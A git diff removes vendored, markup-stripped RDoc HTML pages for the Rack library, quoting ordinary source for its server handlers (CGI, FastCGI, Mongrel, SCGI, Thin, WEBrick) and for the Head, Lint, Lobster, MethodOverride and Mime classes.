-46:         STDOUT.flush
-47:       end
-
-
-
-
- -
- - -
- - serve(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/cgi.rb, line 8
- 8:       def self.serve(app)
- 9:         env = ENV.to_hash
-10:         env.delete "HTTP_CONTENT_LENGTH"
-11: 
-12:         env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
-13: 
-14:         env.update({"rack.version" => [0,1],
-15:                      "rack.input" => STDIN,
-16:                      "rack.errors" => STDERR,
-17: 
-18:                      "rack.multithread" => false,
-19:                      "rack.multiprocess" => true,
-20:                      "rack.run_once" => true,
-21: 
-22:                      "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
-23:                    })
-24: 
-25:         env["QUERY_STRING"] ||= ""
-26:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
-27:         env["REQUEST_PATH"] ||= "/"
-28: 
-29:         status, headers, body = app.call(env)
-30:         begin
-31:           send_headers status, headers
-32:           send_body body
-33:         ensure
-34:           body.close  if body.respond_to? :close
-35:         end
-36:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html b/vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html deleted file mode 100644 index 24e8d97f..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - Class: Rack::Handler::EventedMongrel - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::EventedMongrel
In: - - lib/rack/handler/evented_mongrel.rb - -
-
Parent: - Handler::Mongrel -
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html b/vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html deleted file mode 100644 index 0b4560ff..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html +++ /dev/null @@ -1,264 +0,0 @@ - - - - - - Class: Rack::Handler::FastCGI - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::FastCGI
In: - - lib/rack/handler/fastcgi.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- run   - send_body   - send_headers   - serve   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - run(app, options={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/fastcgi.rb, line 7
- 7:       def self.run(app, options={})
- 8:         file = options[:File] and STDIN.reopen(UNIXServer.new(file))
- 9:         port = options[:Port] and STDIN.reopen(TCPServer.new(port))
-10:         FCGI.each { |request|
-11:           serve request, app
-12:         }
-13:       end
-
-
-
-
- -
- - -
- - send_body(out, body) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/fastcgi.rb, line 78
-78:       def self.send_body(out, body)
-79:         body.each { |part|
-80:           out.print part
-81:           out.flush
-82:         }
-83:       end
-
-
-
-
- -
- - -
- - send_headers(out, status, headers) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/fastcgi.rb, line 67
-67:       def self.send_headers(out, status, headers)
-68:         out.print "Status: #{status}\r\n"
-69:         headers.each { |k, vs|
-70:           vs.each { |v|
-71:             out.print "#{k}: #{v}\r\n"
-72:           }
-73:         }
-74:         out.print "\r\n"
-75:         out.flush
-76:       end
-
-
-
-
- -
- - -
- - serve(request, app) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/fastcgi.rb, line 31
-31:       def self.serve(request, app)
-32:         env = request.env
-33:         env.delete "HTTP_CONTENT_LENGTH"
-34: 
-35:         request.in.extend ProperStream
-36: 
-37:         env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
-38: 
-39:         env.update({"rack.version" => [0,1],
-40:                      "rack.input" => request.in,
-41:                      "rack.errors" => request.err,
-42: 
-43:                      "rack.multithread" => false,
-44:                      "rack.multiprocess" => true,
-45:                      "rack.run_once" => false,
-46: 
-47:                      "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
-48:                    })
-49: 
-50:         env["QUERY_STRING"] ||= ""
-51:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
-52:         env["REQUEST_PATH"] ||= "/"
-53:         env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
-54:         env.delete "CONTENT_TYPE"  if env["CONTENT_TYPE"] == ""
-55:         env.delete "CONTENT_LENGTH"  if env["CONTENT_LENGTH"] == ""
-56: 
-57:         status, headers, body = app.call(env)
-58:         begin
-59:           send_headers request.out, status, headers
-60:           send_body request.out, body
-61:         ensure
-62:           body.close  if body.respond_to? :close
-63:           request.finish
-64:         end
-65:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html b/vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html deleted file mode 100644 index 99d86a88..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html +++ /dev/null @@ -1,250 +0,0 @@ - - - - - - Class: Rack::Handler::LSWS - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::LSWS
In: - - lib/rack/handler/lsws.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- run   - send_body   - send_headers   - serve   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - run(app, options=nil) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/lsws.rb, line 6
- 6:       def self.run(app, options=nil)
- 7:         while LSAPI.accept != nil
- 8:           serve app
- 9:         end
-10:       end
-
-
-
-
- -
- - -
- - send_body(body) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/lsws.rb, line 44
-44:       def self.send_body(body)
-45:         body.each { |part|
-46:           print part
-47:           STDOUT.flush
-48:         }
-49:       end
-
-
-
-
- -
- - -
- - send_headers(status, headers) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/lsws.rb, line 34
-34:       def self.send_headers(status, headers)
-35:         print "Status: #{status}\r\n"
-36:         headers.each { |k, vs|
-37:           vs.each { |v|
-38:             print "#{k}: #{v}\r\n"
-39:           }
-40:         }
-41:         print "\r\n"
-42:         STDOUT.flush
-43:       end
-
-
-
-
- -
- - -
- - serve(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/lsws.rb, line 11
-11:       def self.serve(app)
-12:         env = ENV.to_hash
-13:         env.delete "HTTP_CONTENT_LENGTH"
-14:         env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
-15:         env.update({"rack.version" => [0,1],
-16:                      "rack.input" => STDIN,
-17:                      "rack.errors" => STDERR,
-18:                      "rack.multithread" => false,
-19:                      "rack.multiprocess" => true,
-20:                      "rack.run_once" => false,
-21:                      "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
-22:                    })
-23:         env["QUERY_STRING"] ||= ""
-24:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
-25:         env["REQUEST_PATH"] ||= "/"
-26:         status, headers, body = app.call(env)
-27:         begin
-28:           send_headers status, headers
-29:           send_body body
-30:         ensure
-31:           body.close if body.respond_to? :close
-32:         end
-33:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html b/vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html deleted file mode 100644 index f7d3b35e..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html +++ /dev/null @@ -1,258 +0,0 @@ - - - - - - Class: Rack::Handler::Mongrel - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::Mongrel
In: - - lib/rack/handler/mongrel.rb - -
-
Parent: - ::Mongrel::HttpHandler -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- new   - process   - run   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/mongrel.rb, line 35
-35:       def initialize(app)
-36:         @app = app
-37:       end
-
-
-
-
- -
- - -
- - run(app, options={}) {|server if block_given?| ...} - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/mongrel.rb, line 7
- 7:       def self.run(app, options={})
- 8:         server = ::Mongrel::HttpServer.new(options[:Host] || '0.0.0.0',
- 9:                                            options[:Port] || 8080)
-10:         # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
-11:         # Use is similar to #run, replacing the app argument with a hash of 
-12:         # { path=>app, ... } or an instance of Rack::URLMap.
-13:         if options[:map]
-14:           if app.is_a? Hash
-15:             app.each do |path, appl|
-16:               path = '/'+path unless path[0] == ?/
-17:               server.register(path, Rack::Handler::Mongrel.new(appl))
-18:             end
-19:           elsif app.is_a? URLMap
-20:             app.instance_variable_get(:@mapping).each do |(host, path, appl)|
-21:              next if !host.nil? && !options[:Host].nil? && options[:Host] != host
-22:              path = '/'+path unless path[0] == ?/
-23:              server.register(path, Rack::Handler::Mongrel.new(appl))
-24:             end
-25:           else
-26:             raise ArgumentError, "first argument should be a Hash or URLMap"
-27:           end
-28:         else
-29:           server.register('/', Rack::Handler::Mongrel.new(app))
-30:         end
-31:         yield server  if block_given?
-32:         server.run.join
-33:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - process(request, response) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/mongrel.rb, line 39
-39:       def process(request, response)
-40:         env = {}.replace(request.params)
-41:         env.delete "HTTP_CONTENT_TYPE"
-42:         env.delete "HTTP_CONTENT_LENGTH"
-43: 
-44:         env["SCRIPT_NAME"] = ""  if env["SCRIPT_NAME"] == "/"
-45: 
-46:         env.update({"rack.version" => [0,1],
-47:                      "rack.input" => request.body || StringIO.new(""),
-48:                      "rack.errors" => STDERR,
-49: 
-50:                      "rack.multithread" => true,
-51:                      "rack.multiprocess" => false, # ???
-52:                      "rack.run_once" => false,
-53: 
-54:                      "rack.url_scheme" => "http",
-55:                    })
-56:         env["QUERY_STRING"] ||= ""
-57:         env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
-58: 
-59:         status, headers, body = @app.call(env)
-60: 
-61:         begin
-62:           response.status = status.to_i
-63:           response.send_status(nil)
-64: 
-65:           headers.each { |k, vs|
-66:             vs.each { |v|
-67:               response.header[k] = v
-68:             }
-69:           }
-70:           response.send_header
-71: 
-72:           body.each { |part|
-73:             response.write part
-74:             response.socket.flush
-75:           }
-76:         ensure
-77:           body.close  if body.respond_to? :close
-78:         end
-79:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html b/vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html deleted file mode 100644 index e936dd60..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html +++ /dev/null @@ -1,244 +0,0 @@ - - - - - - Class: Rack::Handler::SCGI - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::SCGI
In: - - lib/rack/handler/scgi.rb - -
-
Parent: - ::SCGI::Processor -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- new   - process_request   - run   -
-
- -
- - - - -
- - - - - -
-

Attributes

- -
- - - - - - -
app [RW] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(settings = {}) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/scgi.rb, line 16
-16:       def initialize(settings = {})
-17:         @app = settings[:app]
-18:         @log = Object.new
-19:         def @log.info(*args); end
-20:         def @log.error(*args); end
-21:         super(settings)
-22:       end
-
-
-
-
- -
- - -
- - run(app, options=nil) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/scgi.rb, line 9
- 9:       def self.run(app, options=nil)
-10:         new(options.merge(:app=>app,
-11:                           :host=>options[:Host],
-12:                           :port=>options[:Port],
-13:                           :socket=>options[:Socket])).listen
-14:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - process_request(request, input_body, socket) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/scgi.rb, line 24
-24:       def   process_requestprocess_requestprocess_request(request, input_body, socket)
-25:         env = {}.replace(request)
-26:         env.delete "HTTP_CONTENT_TYPE"
-27:         env.delete "HTTP_CONTENT_LENGTH"
-28:         env["REQUEST_PATH"], env["QUERY_STRING"] = env["REQUEST_URI"].split('?', 2)
-29:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
-30:         env["PATH_INFO"] = env["REQUEST_PATH"]
-31:         env["QUERY_STRING"] ||= ""
-32:         env["SCRIPT_NAME"] = ""
-33:         env.update({"rack.version" => [0,1],
-34:                      "rack.input" => StringIO.new(input_body),
-35:                      "rack.errors" => STDERR,
-36: 
-37:                      "rack.multithread" => true,
-38:                      "rack.multiprocess" => true,
-39:                      "rack.run_once" => false,
-40: 
-41:                      "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
-42:                    })
-43:         status, headers, body = app.call(env)
-44:         begin
-45:           socket.write("Status: #{status}\r\n")
-46:           headers.each do |k, vs|
-47:             vs.each {|v| socket.write("#{k}: #{v}\r\n")}
-48:           end
-49:           socket.write("\r\n")
-50:           body.each {|s| socket.write(s)}
-51:         ensure
-52:           body.close if body.respond_to? :close
-53:         end
-54:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html b/vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html deleted file mode 100644 index 757a77f4..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - Class: Rack::Handler::SwiftipliedMongrel - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::SwiftipliedMongrel
In: - - lib/rack/handler/swiftiplied_mongrel.rb - -
-
Parent: - Handler::Mongrel -
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html b/vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html deleted file mode 100644 index dad5eeb0..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html +++ /dev/null @@ -1,150 +0,0 @@ - - - - - - Class: Rack::Handler::Thin - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::Thin
In: - - lib/rack/handler/thin.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- run   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - run(app, options={}) {|server if block_given?| ...} - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/thin.rb, line 6
- 6:       def self.run(app, options={})
- 7:         server = ::Thin::Server.new(options[:Host] || '0.0.0.0',
- 8:                                     options[:Port] || 8080,
- 9:                                     app)
-10:         yield server if block_given?
-11:         server.start
-12:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html b/vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html deleted file mode 100644 index 1d6e46e2..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - Class: Rack::Handler::WEBrick - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Handler::WEBrick
In: - - lib/rack/handler/webrick.rb - -
-
Parent: - ::WEBrick::HTTPServlet::AbstractServlet -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- new   - run   - service   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(server, app) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/webrick.rb, line 15
-15:       def initialize(server, app)
-16:         super server
-17:         @app = app
-18:       end
-
-
-
-
- -
- - -
- - run(app, options={}) {|server if block_given?| ...} - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/webrick.rb, line 7
- 7:       def self.run(app, options={})
- 8:         server = ::WEBrick::HTTPServer.new(options)
- 9:         server.mount "/", Rack::Handler::WEBrick, app
-10:         trap(:INT) { server.shutdown }
-11:         yield server  if block_given?
-12:         server.start
-13:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - service(req, res) - -
- -
-

[Source]

-
-
-    # File lib/rack/handler/webrick.rb, line 20
-20:       def service(req, res)
-21:         env = req.meta_vars
-22:         env.delete_if { |k, v| v.nil? }
-23: 
-24:         env.update({"rack.version" => [0,1],
-25:                      "rack.input" => StringIO.new(req.body.to_s),
-26:                      "rack.errors" => STDERR,
-27: 
-28:                      "rack.multithread" => true,
-29:                      "rack.multiprocess" => false,
-30:                      "rack.run_once" => false,
-31: 
-32:                      "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
-33:                    })
-34: 
-35:         env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
-36:         env["QUERY_STRING"] ||= ""
-37:         env["REQUEST_PATH"] ||= "/"
-38:         env.delete "PATH_INFO"  if env["PATH_INFO"] == ""
-39: 
-40:         status, headers, body = @app.call(env)
-41:         begin
-42:           res.status = status.to_i
-43:           headers.each { |k, vs|
-44:             if k.downcase == "set-cookie"
-45:               res.cookies.concat vs.to_a
-46:             else
-47:               vs.each { |v|
-48:                 res[k] = v
-49:               }
-50:             end
-51:           }
-52:           body.each { |part|
-53:             res.body << part
-54:           }
-55:         ensure
-56:           body.close  if body.respond_to? :close
-57:         end
-58:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Head.html b/vendor/plugins/rack/doc/classes/Rack/Head.html deleted file mode 100644 index 2f278505..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Head.html +++ /dev/null @@ -1,178 +0,0 @@ - - - - - - Class: Rack::Head - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Head
In: - - lib/rack/head.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-   # File lib/rack/head.rb, line 4
-4:   def initialize(app)
-5:     @app = app
-6:   end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/head.rb, line 8
- 8:   def call(env)
- 9:     status, headers, body = @app.call(env)
-10: 
-11:     if env["REQUEST_METHOD"] == "HEAD"
-12:       [status, headers, []]
-13:     else
-14:       [status, headers, body]
-15:     end
-16:   end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Lint.html b/vendor/plugins/rack/doc/classes/Rack/Lint.html deleted file mode 100644 index 659f9944..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Lint.html +++ /dev/null @@ -1,154 +0,0 @@ - - - - - - Class: Rack::Lint - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Lint
In: - - lib/rack/lint.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Lint validates your application and the -requests and responses according to the Rack -spec. -

- -
- - -
- -
-

Methods

- -
- new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-   # File lib/rack/lint.rb, line 6
-6:     def initialize(app)
-7:       @app = app
-8:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Lobster.html b/vendor/plugins/rack/doc/classes/Rack/Lobster.html deleted file mode 100644 index f165952d..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Lobster.html +++ /dev/null @@ -1,136 +0,0 @@ - - - - - - Class: Rack::Lobster - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Lobster
In: - - lib/rack/lobster.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Paste has a Pony, Rack has a Lobster! -

- -
- - -
- - -
- - - - -
- - -
-

Constants

- -
- - - - - - - - - - - -
LobsterString=Zlib::Inflate.inflate("eJx9kEEOwyAMBO99xd7MAcytUhPlJyj2 P6jy9i4k9EQyGAnBarEXeCBqSkntNXsi/ZCvC48zGQoZKikGrFMZvgS5ZHd+aGWVuWwhVF0 t1drVmiR42HcWNz5w3QanT+2gIvTVCiE1lm1Y0eU4JGmIIbaKwextKn8rvW+p5PIwFl8ZWJ I8jyiTlhTcYXkekJAzTyYN6E08A+dk8voBkAVTJQ==".delete("\n ").unpack("m*")[0])
LambdaLobster=lambda { |env| if env["QUERY_STRING"].include?("flip")
-
-
- - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/MethodOverride.html b/vendor/plugins/rack/doc/classes/Rack/MethodOverride.html deleted file mode 100644 index c3f52bc0..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/MethodOverride.html +++ /dev/null @@ -1,206 +0,0 @@ - - - - - - Class: Rack::MethodOverride - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::MethodOverride
In: - - lib/rack/methodoverride.rb - -
-
Parent: - Object -
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - - - - - - - - - - - -
HTTP_METHODS=%w(GET HEAD PUT POST DELETE OPTIONS)
METHOD_OVERRIDE_PARAM_KEY="_method".freeze
HTTP_METHOD_OVERRIDE_HEADER="HTTP_X_HTTP_METHOD_OVERRIDE".freeze
-
-
- - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/methodoverride.rb, line 8
- 8:     def initialize(app)
- 9:       @app = app
-10:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/methodoverride.rb, line 12
-12:     def call(env)
-13:       if env["REQUEST_METHOD"] == "POST"
-14:         req = Request.new(env)
-15:         method = req.POST[METHOD_OVERRIDE_PARAM_KEY] ||
-16:           env[HTTP_METHOD_OVERRIDE_HEADER]
-17:         method = method.to_s.upcase
-18:         if HTTP_METHODS.include?(method)
-19:           env["rack.methodoverride.original_method"] = env["REQUEST_METHOD"]
-20:           env["REQUEST_METHOD"] = method
-21:         end
-22:       end
-23: 
-24:       @app.call(env)
-25:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Mime.html b/vendor/plugins/rack/doc/classes/Rack/Mime.html deleted file mode 100644 index 1c6682f4..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Mime.html +++ /dev/null @@ -1,200 +0,0 @@ - - - - - - Module: Rack::Mime - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Mime
In: - - lib/rack/mime.rb - -
-
-
- - -
- - - -
- - - -
- -
-

Methods

- -
- mime_type   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - - - -
MIME_TYPES={ ".3gp" => "video/3gpp", ".a" => "application/octet-stream", ".ai" => "application/postscript", ".aif" => "audio/x-aiff", ".aiff" => "audio/x-aiff", ".asc" => "application/pgp-signature", ".asf" => "video/x-ms-asf", ".asm" => "text/x-asm", ".asx" => "video/x-ms-asf", ".atom" => "application/atom+xml", ".au" => "audio/basic", ".avi" => "video/x-msvideo", ".bat" => "application/x-msdownload", ".bin" => "application/octet-stream", ".bmp" => "image/bmp", ".bz2" => "application/x-bzip2", ".c" => "text/x-c", ".cab" => "application/vnd.ms-cab-compressed", ".cc" => "text/x-c", ".chm" => "application/vnd.ms-htmlhelp", ".class" => "application/octet-stream", ".com" => "application/x-msdownload", ".conf" => "text/plain", ".cpp" => "text/x-c", ".crt" => "application/x-x509-ca-cert", ".css" => "text/css", ".csv" => "text/csv", ".cxx" => "text/x-c", ".deb" => "application/x-debian-package", ".der" => "application/x-x509-ca-cert", ".diff" => "text/x-diff", ".djv" => "image/vnd.djvu", ".djvu" => "image/vnd.djvu", ".dll" => "application/x-msdownload", ".dmg" => "application/octet-stream", ".doc" => "application/msword", ".dot" => "application/msword", ".dtd" => "application/xml-dtd", ".dvi" => "application/x-dvi", ".ear" => "application/java-archive", ".eml" => "message/rfc822", ".eps" => "application/postscript", ".exe" => "application/x-msdownload", ".f" => "text/x-fortran", ".f77" => "text/x-fortran", ".f90" => "text/x-fortran", ".flv" => "video/x-flv", ".for" => "text/x-fortran", ".gem" => "application/octet-stream", ".gemspec" => "text/x-script.ruby", ".gif" => "image/gif", ".gz" => "application/x-gzip", ".h" => "text/x-c", ".hh" => "text/x-c", ".htm" => "text/html", ".html" => "text/html", ".ico" => "image/vnd.microsoft.icon", ".ics" => "text/calendar", ".ifb" => "text/calendar", ".iso" => "application/octet-stream", ".jar" => "application/java-archive", ".java" => "text/x-java-source", ".jnlp" => "application/x-java-jnlp-file", ".jpeg" => "image/jpeg", ".jpg" => "image/jpeg", ".js" => "application/javascript", ".json" => "application/json", ".log" => "text/plain", ".m3u" => "audio/x-mpegurl", ".m4v" => "video/mp4", ".man" => "text/troff", ".mathml" => "application/mathml+xml", ".mbox" => "application/mbox", ".mdoc" => "text/troff", ".me" => "text/troff", ".mid" => "audio/midi", ".midi" => "audio/midi", ".mime" => "message/rfc822", ".mml" => "application/mathml+xml", ".mng" => "video/x-mng", ".mov" => "video/quicktime", ".mp3" => "audio/mpeg", ".mp4" => "video/mp4", ".mp4v" => "video/mp4", ".mpeg" => "video/mpeg", ".mpg" => "video/mpeg", ".ms" => "text/troff", ".msi" => "application/x-msdownload", ".odp" => "application/vnd.oasis.opendocument.presentation", ".ods" => "application/vnd.oasis.opendocument.spreadsheet", ".odt" => "application/vnd.oasis.opendocument.text", ".ogg" => "application/ogg", ".p" => "text/x-pascal", ".pas" => "text/x-pascal", ".pbm" => "image/x-portable-bitmap", ".pdf" => "application/pdf", ".pem" => "application/x-x509-ca-cert", ".pgm" => "image/x-portable-graymap", ".pgp" => "application/pgp-encrypted", ".pkg" => "application/octet-stream", ".pl" => "text/x-script.perl", ".pm" => "text/x-script.perl-module", ".png" => "image/png", ".pnm" => "image/x-portable-anymap", ".ppm" => "image/x-portable-pixmap", ".pps" => "application/vnd.ms-powerpoint", ".ppt" => "application/vnd.ms-powerpoint", ".ps" => "application/postscript", ".psd" => "image/vnd.adobe.photoshop", ".py" => "text/x-script.python", ".qt" => "video/quicktime", ".ra" => "audio/x-pn-realaudio", ".rake" => "text/x-script.ruby", ".ram" => "audio/x-pn-realaudio", ".rar" => "application/x-rar-compressed", ".rb" => "text/x-script.ruby", ".rdf" => "application/rdf+xml", ".roff" => "text/troff", ".rpm" => "application/x-redhat-package-manager", ".rss" => "application/rss+xml", ".rtf" => "application/rtf", ".ru" => "text/x-script.ruby", ".s" => "text/x-asm", ".sgm" => "text/sgml", ".sgml" => "text/sgml", ".sh" => "application/x-sh", ".sig" => "application/pgp-signature", ".snd" => "audio/basic", ".so" => "application/octet-stream", ".svg" => "image/svg+xml", ".svgz" => "image/svg+xml", ".swf" => "application/x-shockwave-flash", ".t" => "text/troff", ".tar" => "application/x-tar", ".tbz" => "application/x-bzip-compressed-tar", ".tcl" => "application/x-tcl", ".tex" => "application/x-tex", ".texi" => "application/x-texinfo", ".texinfo" => "application/x-texinfo", ".text" => "text/plain", ".tif" => "image/tiff", ".tiff" => "image/tiff", ".torrent" => "application/x-bittorrent", ".tr" => "text/troff", ".txt" => "text/plain", ".vcf" => "text/x-vcard", ".vcs" => "text/x-vcalendar", ".vrml" => "model/vrml", ".war" => "application/java-archive", ".wav" => "audio/x-wav", ".wma" => "audio/x-ms-wma", ".wmv" => "video/x-ms-wmv", ".wmx" => "video/x-ms-wmx", ".wrl" => "model/vrml", ".wsdl" => "application/wsdl+xml", ".xbm" => "image/x-xbitmap", ".xhtml" => "application/xhtml+xml", ".xls" => "application/vnd.ms-excel", ".xml" => "application/xml", ".xpm" => "image/x-xpixmap", ".xsl" => "application/xml", ".xslt" => "application/xslt+xml", ".yaml" => "text/yaml", ".yml" => "text/yaml", ".zip" => "application/zip", }  -List of most common mime-types, selected various sources according to their -usefulness in a webserving scope for Ruby users. - -

-To amend this list with your local mime.types list you can use: -

-
-    require 'webrick/httputils'
-    list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types')
-    Rack::Utils::MIME_TYPES.merge!(list)
-
-

-To add the list mongrel provides, use: -

-
-    require 'mongrel/handlers'
-    Rack::Utils::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES)
-
-
-
-
- - - - - - - -
-

Public Instance methods

- -
- - -
- - mime_type(ext, fallback='application/octet-stream') - -
- -
-

-Returns String with mime type if found, otherwise use fallback. -ext should be filename extension in the ’.ext’ format -that -

-
-      File.extname(file) returns.
-
-

-fallback may be any object -

-

-Also see the documentation for MIME_TYPES -

-

-Usage: -

-
-    Rack::Utils.mime_type('.foo')
-
-

-This is a shortcut for: -

-
-    Rack::Utils::MIME_TYPES.fetch('.foo', 'application/octet-stream')
-
-

[Source]

-
-
-    # File lib/rack/mime.rb, line 16
-16:     def mime_type(ext, fallback='application/octet-stream')
-17:       MIME_TYPES.fetch(ext, fallback)
-18:     end
-
-
-
-
- - -
- - -
